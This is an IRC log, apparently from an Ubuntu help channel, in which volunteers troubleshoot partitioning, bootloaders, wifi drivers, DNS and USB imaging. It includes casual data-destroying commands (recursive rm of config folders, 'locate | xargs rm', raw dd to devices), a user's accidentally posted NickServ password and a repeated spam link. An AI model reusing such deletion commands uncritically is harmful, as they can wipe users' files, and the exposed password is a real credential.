"blockky" and it changed after latest update, and yet all other things seem to be in line with visual theme [09:36] how to fix that [09:37] furythor: blockky? you don't happen to have a screenshot anywhere? [09:37] furythor: have you tried fiddling around with Appearance settings? [09:38] tehbaut: You're welcome. [09:38] Yeah, but all other things on screen behave as they should, folder view (when looking folders) is jinxed [09:38] show us a screenshot :D [09:38] hello, i was wondering if someone uses ssh -T to hide theirself who, how would i know who is logged in [09:38] know how ? [09:39] kn_: w [09:39] kn_: good question [09:39] kn , who === fly is now known as Guest42506 [09:39] kn_: now if someone was connected to you via ssh? [09:39] ssh -T [09:40] it disables pseudo-tty [09:40] kn_: play it safe and stop that service unless you really need it now [09:40] you shouldnt be able to hide from root should you ? [09:40] kn_: especially coming into a irc chat [09:41] unsafe [09:41] hi m new user of ubuntu, i have installed it using entire disk and make no partitiion. now i want to partiton. ho w to do that [09:41] kn_: why do you ask? [09:42] Ileden: Here is link to screenshot http://dl.dropbox.com/u/13906995/weird.png [09:42] Us3r_Unfriendly because i just am [09:42] what causes that ? [09:42] yeah, somone could use your ip, if you want to be secure remote accessing use hamachis new 2.0 beta for linux [09:42] amit gparted [09:42] ok [09:42] kn_: for legal purposes? [09:42] trying to force people stop using ssh -T [09:42] furythor: Ah, ok. That's a problem that can probably be fixed via Appearance settings. [09:42] amit: boot from livecd and use gparted.. [09:42] root4rd3d: m installing it when i done installed then i wil ask how to do that,ok sir [09:42] amit: also if creating another partition for windows your going to have to grub-install to get grub back [09:43] since opening and closing a 3d game my sound has stopped working, how can i fix it? someone suggested i do "sudo /etc/init.d/alsa-utils restart" but that command doesnt exist [09:43] hamachi is a way to connect in a vpn like way remotely [09:43] kn_: turn off the ssh service on your system [09:43] Ileden: No I have already tried that but don't know where it comes from ... [09:43] i used whole my 500gb for linux installation [09:43] kn_: firewall is great too [09:43] it is only the directory browsing effecting thing [09:43] amit you probably have to use it from a livecd [09:43] amit: your off to a good start then [09:43] furythor: have you tried selecting another theme, then switching back to "Ambiance"? [09:44] Ileden: Yeah, but it does not fix that problem [09:44] Us3r_unfriendly: don't understand sir! [09:44] benjr: ps -fe and kill the process using it [09:44] furythor: you can throw a -x in the ssh command to view gui's. if you don't need the ssh service allowing ppl to connect to you then just turn it off... === Guest42506 is now known as fly2mauis [09:45] hello [09:45] Wazzup colorred? [09:45] http://www.ClaraVenger.com/?id=244679 [09:45] benjr: lsof | grep pcm [09:45] root4rd3d:ok i have to use live cd and then use gparted to make partition [09:45] furythor: ok... hmm, I don't think I can help further. [09:45] kn_: sudo /etc/init.d/ssh-service stop <-----or whatever it's called now a days [09:45] So I have a question about installing it. [09:46] I tried to, and it epic failed. [09:46] IShadowed: about installing what? [09:46] furythor: have you tried using the "customize" button, and selecting some other button sets, or such? [09:46] sudo service openssh-server stop [09:46] Us3r_Unfriendly: what that should do ? [09:46] amit yeah cause you can resize a partition while your using it [09:46] ...Ubuntu? [09:46] cant***** [09:46] Wyn: ah thanks, that second command returned less results then the first :) [09:46] i'm lost lol...installed what? [09:46] ... [09:46] Uh, Ubuntu? [09:46] D'uh? [09:47] benjr: just looks for things using your sound mods [09:47] ok sir m inserting live cd,and for partition please help me sir! m coming in a while going to insert live cd [09:47] furythor: have u done too many customizations to your desktop theme? [09:47] IShadowed: lots of people have issues and qeustions regardning installing and using diffrent things ON Ubuntu not just installing Ubuntu [09:47] parted magic { [09:47] Wyn: Oh, I'm sure/ [09:47] parted magic is better than gparted [09:47] IShadowed: sorry thought someone else was asking the install question [09:47] furythor: if u don't mind doing them again..i can help u get the default ubuntu desktop back [09:48] partition magic is not free though :( [09:48] amit: do you have much on there or what ? IE if its a clean install just re-install and make some partitions [09:48] no parted magic [09:48] oh [09:48] IShadowed: how'd you EPIC failed? [09:48] IShadowed: need to be more specific [09:48] it loads into ram and has a bunch of recovery tools too [09:48] * Wyn EPIC fail, for when normal failure just isn't good enough [09:49] Wyn: no its not clean install [09:49] and it is a play of of partition magic [09:49] bye all, going to bed :) [09:49] so true Wyn [09:49] IShadowed, did you put the cd in upside down ? [09:49] Great. So basically- when installing Ubuntu- it decided that my keyboard layout should be Tanzanian. I don't speak that. So I tried to change it- the install froze, so I rebooted. Well, this time I tried to install it, the "Install next to an existing OS" wasn't there [09:49] r00t4rd3d: "parted magic" is a free probelm, that does same things as the commercial "parition magic" [09:49] r00t4rd3d: Don't insult me. Thanks. [09:49] bonjoyee: Nope, something did happen after I installed latest updates, not sure what... [09:49] Does anyone know okular copy image and paste function function within in a pdf, is there a generic tool on ubuntu that I could use to copy from the screen without making an entire screen shot each time. thanks === bencahill is now known as bencahill_ [09:50] amit: ah, then boot into the live disk, open gparted (terminal sudo gparted ) and go from there [09:50] IShadowed: in the gdm menu (the login screen when you turn on your machine) you have the choice of selecting a keyboard layout [09:50] furythor: u want to get the default ubuntu settings back? [09:50] yeah, pretty much [09:50] http://www.ClaraVenger.com/?id=244679 [09:50] Us3r_Unfriendly: ... [09:50] * IShadowed facepalms [09:50] furythor: do this [09:50] that's not my problem. [09:50] wyn: sir doing this is safe or i have to lost some data [09:50] ? [09:51] My problem is that Ubuntu didn't install, and now it won't let me install parallel to my existing OS. [09:51] amit: safe enough [09:51] And running it inside windows is a bitch. [09:51] furythor: rm -r .gconf .gnome2 .config .local [09:51] amit: always have data backups though, you need to re-size a disk then create a partition in the free space [09:51] IShadowed, wubi ? [09:51] wyn: o k sir m inserting the live cd firstly m installing gparted then sir u please help me in partiton [09:51] furythor: bonjoyee: I would recommend renaming rather than deleting to be safe. [09:51] IShadowed: i suggest using another ubuntu cd or trying it out on a flash drive [09:52] amit: please don't call me Sir, I work for a living [09:52] Us3r_Unfriendly: And that would help how? [09:52] furythor: then logout and login again..this will give u a desktop like it was when u first logged in.. [09:52] Does anyone know okular copy image and paste function function within in a pdf, is there a generic tool on ubuntu that I could use to copy from the screen without making an entire screen shot each time. thanks [09:52] wyn:ur greatness [09:52] IShadowed: yeah, if you rebooted during the install, you'd first need to look at what the situation is on your hard drive, and you can do that with gparted or such on a live cd. [09:52] IShadowed: i've seen some picky drives in my time...start at step one of fixing your question instead of being kinda of a ass [09:53] were here to help...not be critisized [09:53] IShadowed: can you boot into the previous os? [09:53] guest101: if you're not wanting to crop screenshots of the whole screen afterward, both gnome-screenshot and ksnapshot give the option of selecting a region of screen to use [09:53] Us3r_Unfriendly: And someone just asked me if I put the cd in upside down. I'd expect the same you just requested of me. [09:53] Jordan_U: all these directories contain setting we have customised...no user data i believe [09:53] thanks maco [09:54] after installing the propietary drivers for my radeon hd5670 graphics card of amd and rebooting the system my monitors tells ¨not supported¨.. what to do? [09:54] Ileden, yes, I'm in the previous OS. [09:54] amit: let me guess, your from India ? [09:54] I was thinking of how you can epic fail. [09:54] IShadowed: r00t4rd3d said he was going to kill me a couple of days ago...who cares...try step one of trying a new cd [09:54] wyn:yes how do u know this? [09:54] also, Ileden, I've tried looking at the specified paritions on my harddrive, but uh... it's confusing. === richard is now known as Guest88011 [09:55] IShadowed: ok, then it's not completely messed up, at least. Was this your first install of ubuntu to this system, or do you know what partitions you have? [09:55] Us3r_Unfriendly, Ive spent the past 3 days messing with compiz tyvm [09:55] :D [09:55] how to disable data recovery in ubuntu? [09:55] r00t4rd3d: nice... [09:55] r00t4rd3d: most ppl hate compiz nowadays [09:55] I don't want some one to find out the deleted files [09:56] hi everybody [09:56] amit: just a guess [09:56] Ileden: I don't, uh, "know" what paritions I have. I've looked at the paritions shown in Windows Disk Management, but they're quite ambiguous [09:56] I need some help with my ubuntu :) [09:56] shafi: anyone can find deleted files...need to write over them [09:56] is it the good place to ask? [09:56] Wyn: but for guessing u used any logic.what was that? [09:56] gramm: the best [09:56] like a couple of times till it's corrupt enough from the new data [09:57] gramm: how may i help [09:57] ? [09:57] amit: the way you use English, the tone and written cadence [09:57] im curious of what files he is deleting and not wanting any one to see [09:57] IShadowed: ok. That's probably where the live cd comes in. If you boot into live cd ubuntu, you can use gparted to see what the situation with your hard drive paritions are. === Guest88011 is now known as richardr [09:57] Ileden: can you translate what you just said into n00b, please? [09:57] Wyn: nice. My question is: is it possible to reinstall ubuntu without using the cdrom driver and usb connexion ? [09:57] r00t4rd3d: it's probably files on you [09:57] can it be that my tv does not support a graphics card signal? [09:57] Because my cdrom is broken, and my computer doesn't support usb boot === juiop is now known as ventti [09:57] I had some private files and I deleted them, now I don't want some one to be able to recover them back, any way for this? Us3r_Unfriendly [09:57] IShadowed: during the ubuntu install (that failed due to stuck&reboot) the installation option "alongside previous OS" does some parititoning (to be continued) [09:57] gramm: no [09:58] dammit [09:58] gramm, you in windows now ? [09:58] gramm: a force flash boot [09:58] IShadowed: partitioning is basically how you hard drive is diveded into different sections. in windows, these are "C:" "D:", etc. [09:58] gramm: you can "clean" it up , upgrade depending on what version your using, netinstall (but you need the system for that) [09:58] Uhhuh. [09:58] I know. [09:58] gramm: i haven't done this but i hear it can be done [09:58] I mean "live cd" wtf [09:58] gramm: Yes, many ways. What can you boot from? [09:58] Renaming did help... [09:59] radeon hd 5670 [09:59] Jordan_U: really ? clean install but no CD or USB support, asuming no 2.5 either [09:59] I'd like to put back all the drivers/config files, because I my wireless adapter doesn't work since I've messed up the drivers a while ago [09:59] IShadowed: What ubuntu "alongside" install does, is it shrinks down the partition where windows lives, and creates a new partition for itself tehere [09:59] furythor: what happened? [09:59] gramm: hell, you dont need to re-install for that [09:59] some setting was wrong ... [09:59] now it looks as it should [09:59] gramm: why don't you just reinstall the driver for your wifi? [09:59] sebastiaan_, probably the resolution is too high for your tv [09:59] And I tried putting back the ieee whatever and iw2200 something, but it's complicated (compilation errors and other conflicts) and I'd rather put back all the original files [09:59] IShadowed: so we need to check with a live cd to see what the situation is - something's evidently messed up because ubuntu installer doesn't anymore notice your windows partiton. [10:00] furythor: u did what i said? "rm -r" [10:00] Ileden: define "live cd" [10:00] Wyn: You can netinstall, loop boot from an iso file (if grub2 is installed and still working), debootstrap chroot (if you have some type of linux system you can boot)... [10:00] can you explain a bit more? My tv is not that old actually [10:00] start with a low resolution [10:01] IShadowed: it's the same as the installation cd. You can boot into Ubuntu with the cd, without it doing anything to your hard drive. That's called "live cd". [10:01] like 1024x768 [10:01] gramm: if you somehow do reinstall you should look at a "system restore" for linux [10:01] hmm [10:01] Jordan_U: that would not clean install, that would pre-suppose retaining at least grub [10:01] Ileden: Joy, and where do I find gparted? Also, uh, what do I do with it, then? [10:01] Wyn: You can overwrite grub during the install, though it's a bit risky if installation fails. [10:01] gramm: first lspci | grep 802 [10:02] thatś difficult to set up without a monitor [10:02] IShadowed: Are you chatting from the only computer available - the one you'd need to do the fixing to? Because if you have a laptop or such alongside, it would be easier if you could chat from that, so you'd be able to interact with the support channel here while you are lookign at the partition configuration... [10:02] gramm: but i suggest fixing the wifi driver issue first [10:02] Us3r_Unfriendly: yeah but the System REstore will probably ask for a cd [10:02] nope [10:02] Wyn: Once grub has done its job of booting, it's no longer required. [10:02] Can someone help me get DSL running as a guest OS in Ubuntu Server? [10:02] gramm: or simply lspci [10:03] actually I do have another, Ileden. Brb. [10:03] Wyn: And a netinstall doesn't even require grub to start. [10:03] Jordan_U: indeed, however I am refering to a clean install IE everything is wiped and re-installed, partiotions, grub everything [10:03] Ok I'm going to reboot and go to ubuntu and get a ethernet connection. Will be back in a minute [10:03] aLemmer: virtualbox [10:03] IShadowed: gparted should be available on the live cd... uh, I'm not sure about that actually. Can anyone confirm this, and how to start it from live cd? [10:04] sebastiaan_, can you start in failsafe mode ? [10:04] Today i tried to install ubuntu 10.10 maverick through usb ........but was troubled to busybox.....waht to do???????? [10:04] gramm: look here: http://www.youtube.com/watch?v=pNPkE0loOSs&hd=1 [10:04] Wyn: That can be done without any external media with the "toram" kernel parameter to load the installation media completely into RAM at boot. The net installer loads everything into RAM this way by default. [10:04] so you can edit your xorg.conf ? [10:04] Virtualbox works well via CLI? [10:04] Jordan_U: I have not tried that, cool, thanks for the info [10:04] Wyn: You're welcome. [10:05] @ root4rd As u said instal maverick ........Today i tried to install ubuntu 10.10 maverick through usb ........but was troubled to busybox.....waht to do????????

BTW why do you want the second partition? [10:20] @Bonjoyee @inferus I have been trying to install the driver since 1 week ......and now I am fed up of this [10:21] adtiya_wifi: also check the 10.04 install cd it contains something for bcm devices..have u installed that?

So it seems the stuck&rebooted installation managed to do the partitioning. sda4 is a container for two partitoons, sda5 and sda5. sda5 is where ubuntu would live, and sda6 is a special "swap" partition linux uses for some memory management (it'll never contain data).

[10:46] IShadowed: 2) leave the space as unallocated, and see what ubuntu installation suggests.

(a slighly bigger chance of messing up the Win system) [10:50] bonjoyee: on right click on /dev/sda 1 there come resize/move option [10:50] Us3r_Unfriendly: assuming you meant "before the upgrade" [10:50] pfui: yes [10:50] IShadowed: I meant option 1. [10:51] Ileden: Option 2 has a larger chance of messing up Win7? O-o [10:51] pfui: call me crazy, or could this be due to hardware issues with the kernel?

[10:57] bonjoyee: writing not working i have to scrool it for incresing size [10:58] ok [10:58] IShadowed: open gparted, and then right click on sda1, and choose "resize" [10:58] hello my ethernet is not responding [10:58] Gigacore: did you edit that file yourself? or was that a typo in what you were typing? [10:59] Caelum: I've done nothing, I just made a fresh installation on my VPS [10:59] Gigacore: check your /etc/resolv.conf [10:59] amit: what happened? [10:59] bonjoyee; m increasing size to 30gb by scrooling [10:59] Gigacore: check that you can resolve hosts with hosts and ping [11:00] err host [11:00] amit: post a screenhost before applying the changes! [11:00] ok [11:00] Caelum: my resolv.conf is empty! [11:00] Gigacore: ok, put your DNS server in there, like this: "nameserver 192.168.1.1" [11:02] hello my ethernet is not responding [11:02] dodo71: what do you mean by not responding [11:02] dodo71: ehm... maybe bit more details? [11:02] it does not seem to be working [11:02] Ileden: So... what values do I fill in, and where? [11:02] at least that is what the firewall said [11:03] Caelum: will do and check it.. thanks [11:03] the firestarter firewall does not start [11:03] it sais the eth0 device is not ready [11:03] amit: ? [11:03] dodo71: what does ifconfig say [11:04] bonjoyee; m taking screenshot [11:04] what else do i need for ntfs-config to work? [11:04] it is not opening [11:05] caelum can you get me in private chat? [11:05] IShadowed: maximize the "new size", and keep "free space following" and "free space beginnign" at minimum (0) [11:05] i cant copy paste here it will flood [11:05] dodo71, use the pastebin [11:05] dodo71, paste.ubuntu.com [11:06] IShadowed: or just grab the black arrows in the diagram with you mouse, and drag them to extremes in left and right, same thing === z is now known as Guest34209 [11:06] Ileden: There's "Free space, preceding" and "free, space, following" [11:06] bye [11:06] bonjoyee:http://img510.imageshack.us/i/screenshot2kf.png/ [11:07] bonjoyee: do u get it?

It worked. So uh, in the "allocating drive space" for installing next to an existing OS, the default for Ubuntu is 3.5GB, and Windows Vista (loader) at 9.1GB. Are bad things going to happen if I give Ubuntu more space? [11:10] bonjoyee: it is shrinking to 30 gb [11:10] amit: leave that unallocated space..u can do whatever u want later with it.. [11:10] IShadowed: no, only means Windows will have less space for itself. [11:10] cool. [11:10] dodo71: so you are using wifi, you need to tell the firewall software to use wlan0 as your interface [11:11] amit: after shrinking...try to reboot into your ubuntu!! [11:11] bonjoyee: resizing takes long time? [11:11] ok [11:11] amit: no [11:12] my ethernet device not working [11:12] hello [11:12] dodo71: did you see what I said [11:12] check ifconfig [11:12] dodo71: so you are using wifi, you need to tell the firewall software to use wlan0 as your interface [11:12] dodo71: explain the problem in more detail [11:12] eth0 Link encap:Ethernet HWaddr 00:23:ae:2c:ce:cd UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Interrupt:18 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 [11:12] bonjoyee: shrinking says that depends on the ammount and type of operatioon that might takes a long time [11:13] the firestarter does not start [11:13] Ileden: Do you know what -101/104 key compatible means for keyboard layouts? [11:13] bonjoyee: if it works can i make other partition like this [11:13] bonjoyee: or can i make partition without live cd then [11:13] firestrter: the device ethernet is not ready [11:13] IShadowed: no idea. I use Finnish keyboard layout myself, no such options there :) [11:14] dodo71: because your device is wlan0 not eth0 [11:14] Ileden: Ah, so you can switch back and forth? [11:14] bonjoyee: operation complete it is asking where to save in root or filesystem [11:14] how do i start the firestarter? [11:14] dodo71: why do you need a firewall if you have a router [11:14] what do i use for firewall? [11:14] dodo71: your router is your firewall [11:15] IShadowed: yes, you can change the layout from ubuntu settings afterwards [11:15] bonjoyee: it is also asking to change name [11:15] bonjoyee:? [11:15] is there a way to get an ip of a windows machine, if i know the computer name and work group? its on the same network [11:15] IShadowed: system->preferences->keyboard->layouts [11:15] can i not start the firestarter with wireless? [11:16] Ileden: Fun [11:16] hello [11:16] ;-) [11:16] can i not start the firestarter with wireless? [11:16] how can I put super grub2 disk on a usb drive? [11:16] AdvoWork`: nmblookup [11:16] dodo71: you can, you will have to read the documentation for it to see how to do that [11:16] bonjoyee; what should i do plz teel me [11:16] anybody? [11:17] era878: the same way you would put it on any other type of disk [11:17] era878: ya use grub2 :P [11:18] Caelum, how can i install an .iso to a usb? [11:18] Ileden: Gah, i had this problem last time I loaded Ubuntu onto a computer; it won't let me advance on the "Who are you?" page, even though the passwords match etc etc [11:18] era878: If you don't mind overwriting everything currently on the drive you can use dd. [11:18] IShadowed: it won't let you advance? any error messages? [11:18] hi, i've got a problem... my computer won't launch grub. it can't find the disk to mount.... [11:18] how can i stop "apt-get dist-upgrade" from upgrading my kernel? i am using a more latest version of kernel. [11:18] dodo71: you can also try "sudo ifconfig eth0 down" [11:18] era878: if it is a hybrid-iso, just "dd" it to your usb-drive. but be carefull, it erases the whole drive [11:18] Ileden: never mind, apparently it doesn't allow any caps 9.9 [11:19] Jordan_U, where can i get dd [11:19] IShadowed: that's weird... my password always have some caps, and it's let me trhough on every install [11:19] bonjoyee: it shows the name gparted_details, i want to change this name tell me what should i give name [11:19] heh [11:19] gsb: just configure grub to use your kernel as the default [11:19] illutz_, how can i dd? [11:20] era878: It comes by default with Ubuntu (and any other Unix like OS), but it's terminal based. [11:20] does anyone know what file has the ubuntu gnome-terminal color scheme [11:20] era878: sudo dd if=yourfile.iso of=/dev/ [11:20] Jordan_U: what do i type into terminal, is there a tutorial somewhere? [11:20] Caelum, trying: nmblookup -netbiosname=computername yet it doesnt do anything, just shows me more options? [11:20] how can i upgrade my NetworkManager to 0.8.1 in lucid? [11:20] what is the latest version of ubuntu that has thunderbird in the repository? [11:21] llutz_:thanks [11:21] era878: First, you need to figure out the device name of your USB drive. This is *very* important as whatever device we pass to dd will be erased, you don't want it to be your internal drive by accident. [11:21] Caelum: thats nice idea, i can do that as last resort, but can I stop apt-get to download 46 MB of stuff which would be of no use? [11:21] AdvoWork`: nmblookup -W WORKGROUP COMPNAME [11:21] era878: make sure to give correct pathes, dd won'ask and just overwrites all [11:21] How to delete all files that are returned by locate?? [11:21] nirazio, | xargs rm [11:22] era878: Is there a particular feature of Super GRUB2 Disk you want for the USB drive, or do you want all of them? [11:22] gsb: not easily no, unless it's upgrading a package, in which case you can just put it on hold with "sudo aptitude hold " [11:23] Jordan_U, I need to boot my external HDD that has ubuntu 10.10 on multiple computers [11:23] dobblego: locate --null ... | xargs -0 rm [11:23] Caelum, tried: nmblookup -W WORKGROUP xw8200-20JKP and it says: querying xw8200-20JKP on 192.168.0.255 name_query failed to find name xw8200-20JKP any further suggestions please? [11:23] Caelum: yes its upgrading the kernel, i will look into hold option. thanks :) [11:23] era878: You don't need Super GRUB2 Disk for that. [11:24] AdvoWork`: are you on a domain? [11:24] hi [11:24] Jordan_U: but when I plug in my external HDD into any other computer it wont boot [11:24] bonjoyee: my system reeboots [11:24] Caelum, yeah iam [11:25] wyn: u there? [11:25] AdvoWork`: then I think you need to configure your smb.conf properly and put your domain server in it [11:26] era878: While booted from the USB system can you run this in a terminal "mount; ls -l /dev/disk/by-id/; debconf-show grub-pc" and use http://pastebin.ubuntu.com to give a link to the output? [11:26] AdvoWork`: otherwise it does a broadcast, which may or may not work, it will definitely not work if the windows machine is on another network [11:26] okay [11:27] can I just add an option line in my screen section of my xorg.nf? [11:28] AdvoWork`: you may not be able to join the domain though...that's often non-trivial [11:28] something like: Option "metamodes" "1024x768 +0+0" [11:29] Hi! What should I do to diagnose WLAN connectivity trouble? (other than measuring times and packetlosses with ping) [11:29] dobblego: Why not rm -R [11:29] dobblego: Why not rm -R ??? [11:29] nirazio, as you choose [11:29] I want to force my xorg.conf too use a certain resolutionn [11:29] Ileden: you can check signal strength with iwconfig [11:29] dobblego: What's the difference?? [11:29] nirazio, man rm [11:30] hi i want to create new partition as i have only one that was of boot i use gparted now what should i write in label option [11:30] Caelum: thanks. Shouldn't be a problem with signal strength, though, but good to know. [11:30] plz help [11:30] Caelum: what other info in ifconfig is useful? [11:31] Jordan_U, I have to turn off my computer to boot from the usb, ill be back [11:31] Ileden: iwconfig, not ifconfig, what problems are you having [11:31] Caelum: oh, typo out of being too used to typing ifconfig :D [11:31] can we use various extension to create drives in different partition [11:32] Ileden: if you have packet loss then it's either poor signal or interference [11:32] Ileden: Yay, it all works [11:32] thanks again [11:32] Caelum: weird problems. the wlan connects to network pretty randomly, sometime with ok connection, sometimes with 50% packet loss... [11:32] Ileden: that means interference [11:32] IShadowed: nice to know, thanks! [11:32] what is difference between ext2 ext3 or ext 4 [11:32] Ileden: try another channel on your router, every 3 channels is a different frequency [11:33] Caelum: also, the connection seems to work always with win7 (I'm dualbooting) [11:33] amit: time; an we can assume progress is made with time. [11:33] amit, ext4 is the newest and safest one [11:33] Caelum: and wlan works at workplace on both linux and win. [11:33] erUsul: so i have to use ext4 [11:34] amit: you should yes; unless you have a very good reason not to. [11:34] Caelum: Thanks, I'll try to find channel setting from my router settings once I get back to home. [11:34] Daekdroom:and what should i write in label [11:34] Ileden: if the windows driver is much better, you can always try ndiswrapper instead of the native linux driver [11:34] amit, label is the partition's name. [11:34] erUSUL: CAN I USE EXT4 FOR ALL PARTITIONS [11:34] amit: yes ( drop the caps please ) [11:35] hi all :) [11:35] hi oedich.. [11:35] :d [11:35] erUSUL: yes..exactly [11:35] long tome no irc... [11:35] Caelum: ndiswrapper, so that uses windows drivers instead of linux? [11:35] I'm not able to ping any other (windows) hosts from ubuntu server. shouldn't nmbd be found via locate or in dpkg -l? [11:35] Ileden: yup [11:35] Caelum: I'll google it, thanks. [11:36] got a problem with installation of 10.10.. some can help? [11:36] Ileden: when you are at home, do a site survey with "iwlist wlan0 scanning" [11:36] erUSUL: is label is same as drive in windows [11:36] Ileden: see what channels other routers are using [11:37] Daekdroom:is label is same like as drives in window? [11:37] Caelum: so does that list all the routers i'm able to hear? [11:37] amit: you mean drive letter? [11:37] Ileden: correct [11:37] Is ntfs-3g used to mount NTFS partitions in Nautilus? in Lucid and Maverick [11:37] Ileden: unless they don't broadcast SSID, but most do [11:37] Caelum: interesting. Thanks! [11:37] sosaited: yes [11:37] amit, it's the driver's name [11:37] hi there [11:38] *drives [11:38] erUSUL: suppose i make the partition size of 30 gb and i want to put s/w in it so i want to take this name software is it right? [11:38] amit: Label is a name for the partition. you can later use that name in a few situations ( fstab; mount ; /dev/disk/by-label/ etc ) [11:38] zwox: hi [11:38] amit: yes you can name a partition software if you want [11:38] blackshirt: I am having a slow speed copying problem in 10.04 and 10.10 (Which I didn't have in 9.10). It most probably is caused by ntfs-3g right? [11:38] erUSUL:thanx for helping so much , m new using ubuntu [11:39] amit: no problem [11:39] something really bothering me, in alternate installation, when several network interface are available, how can you specify which one you wanna use [11:39] ?

[11:40] this is really anoying because dhcp request failed as there is only one interface which is declared on dhcp server [11:40] and vmps [11:40] nirazio: i think, pass url completely to wget [11:41] nirazio: wget http::/ffo.bar/pic.png [11:41] http://, not http::/ [11:42] monzo: Not that i am asking..For example i want to download all wallpapers from a site using wget..How???

[11:45] sosaited: i think the problems not on your ntfs-3g [11:45] nirazio: at least use -nc (== --no-clobber), that is the friendly way of doing a wget and keeps the disk empty [11:45] tell* me, sorry [11:45] Caelum, how do you mean does a broadcast? [11:45] zwox: pass it on kernel line [11:46] blackshirt: juste adding expert ? [11:46] hi one question after every partition some unlocatted space 1mb or 2mb is left what was that [11:46] zwox: or you can press F6 and select "Expert Mode" from the list [11:46] rigved: i can't because i boot from pxe with only intird and linux loaded [11:47] so i have to pass it on kernel command line [11:47] rigved: that only allows assigning keys to commands, not other keys [11:47] blackshirt: Then? [11:47] zwox: yes..

[11:49] sosaited: is it very slow ?? maybe the old drive problem > [11:49] what do you do in that situation?? [11:49] amit: if you make them all at the same time, then only one unallocated space will be created (the four will get merged) [11:50] monitor tells "not supported" [11:50] Kingsy101, out of curiosity...which video card and driver version?

[11:54] Kingsy101, if you do install the driver ...use the nvidia-current and then reboot the system once its installed [11:54] erUSUL: the file mentioned there /etc/termcap doesn't exist, hence psql doesn't work.

[13:55] callumacrae: w3m should be there by default, its pretty good. Although I believe that links2 supports rendering images via your framebuffer if you're on a tty. [13:55] is there some way to scroll up in screen? [13:55] jussi: ctrl+A, esc, pgup [13:55] thanks!

[13:57] thank you. [13:57] anyone here might be willing to help me out? or at least try [13:57] !ask | lo-ki [13:57] lo-ki: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) [13:58] lol okay fair enough [14:00] i dual booted windows 7 and ubuntu 10.10 netbook edition using the wubi and it worked fine most of all day yesterday now everytime i go to run ubuntu it locks-up and sometimes it will load and i can mess around on it for a little bit but it will still lock-up at some point any idea as to why it keeps freezing all the time?? [14:00] /msg NickServ identify 101972od [14:00] DannyButterman: Please change your password. [14:02] big woops [14:02] is there a software for changing icons for folders mp3s and such ?

[14:04] UnholyTerror: sry i didn't explain my question better, i meant for file types and not just a specific file === weasel__ is now known as Caveman [14:05] ciaop [14:05] no one knows then ? [14:06] bummer...... [14:06] Weazel, http://www.linuxforums.org/forum/ubuntu-linux/155973-changing-default-icons-video-files.html [14:06] lo-ki: hmm, sounds like a bug, did it always do this? [14:07] Pici: i'm totally pissed off !!! first usually I can't ype anything until I'm logged in, and secondly I pasted on the server page then suddenly it it was the ubuntu chan instead, and third there was a space before the /msg command which screwed it up completly. Now I had to drop this nickname, f.... !!!!! [14:08] Weazel: that would be a theme setting. or changeing the theme icons basically. [14:08] not really i mean when i first did it, i was using it mostly all day then suddenly when i went to turn it on it did that and i couldn't get to the desktop so i reformatted the partition to install it again and it still does it :S [14:09] I use a laptop, and I want the external monitor to be the primary one if it’s connected, otherwise the internal one. How can I acheive this? [14:09] Dr_Willis: thing is i'm currently using an icon theme, and i wanna change a few icon which i don't like within the theme, but i'd hate to do it all one by one manually... thought if there is an easier way to do so, like they have on windows or smt [14:09] could it possibly have something to do with the updates? when i first logon it detects all these updates to install but im a newb to the whole linux thing so not sure what can and shouldn't be updated lol [14:09] hello [14:09] linux [14:09] lo-ki: what version? [14:09] tell me the channel name for ns-2 [14:10] exit [14:10] Weazel: you can somehow add specific icons to your .icons dir and it can override the theme ones.. but some themes have issues with that and itnore them. [14:10] uhmm i use the wubi 1010 and select ubuntu netbook === ubuntu is now known as hypersonic === fen is now known as Guest83218 === hypersonic is now known as hypersonik [14:12] Dr_Willis: yea i've noticed that, i started changing some even, but then i noticed there are like 7 types of sizes for each icon, like 24x24 48x48 etc. and this is just so much work to go through just for changing lets say folders icon.... [14:12] shame.. [14:13] Weazel: and thats why theres a move to using 'svg' icons [14:13] lo-ki: if you're really dedicated to using ubuntu i'd say try a dualboot instead of wubi [14:13] !dualboot |lo-ki [14:13] lo-ki: Dual boot instructions: x86/AMD64: https://help.ubuntu.com/community/WindowsDualBootHowTo - Macs: https://help.ubuntu.com/community/MacBookPro https://help.ubuntu.com/community/YabootConfigurationForMacintoshPowerPCsDualBoot [14:13] lo-ki: it may fix the problem [14:13] Dr_Willis: what do u mean there's a move ? like in 11.04 they'll use svn ? [14:13] didn't they actually use svn before come to think about it ? [14:13] alright ill give it a shot thanks [14:14] Weazel: 'sgv' = vector based images for the icons. some apps are using them now in some places [14:14] lo-ki: good luck :) [14:14] Dr_Willis: when will it happen ? do we know ? or is it just planned for the future versions ?

I have user on server (created with adduser command) and I need to remove this users rights to sudo. I do not want him to have any administrative rights. But at the same time I want to have this user to be able to SSH to server and browse his folder. I have researched a bit before posting here, but I can't find straight answer... Anyone please? [14:15] aaaa22222: no, he probably uses Chrome OS... [14:15] lol [14:15] Bertik: remove him from the admin group [14:15] Bertik: Remove them from the 'admin' group [14:15] aaaa22222: why would he? web design is ambiguous, his server technicians and engineers might [14:16] !list [14:16] This is not a file sharing channel (or network); be sure to read the channel topic.

[14:22] Bertik: correct [14:22] Sebastian: dpkg -l | grep grub [14:23] histo ty [14:23] Sebastian: grub version number will be on the right [14:23] histo: thanks, just reading man pages. Looks like it is what I was looking for..., thank you [14:24] histo found it, thanks :) [14:24] Weazel: with gnome 3 and ubuntu moving towards unity - no one can tell. I imagine it will happen eventually. [14:24] someone got a link with a very good linux vs windows blog ????? [14:24] Dr_Willis: thx [14:24] Bertik: yeah as long as you specify user with a group it will only remove them from the group. if you did sudo deluser bob it would remove that user.

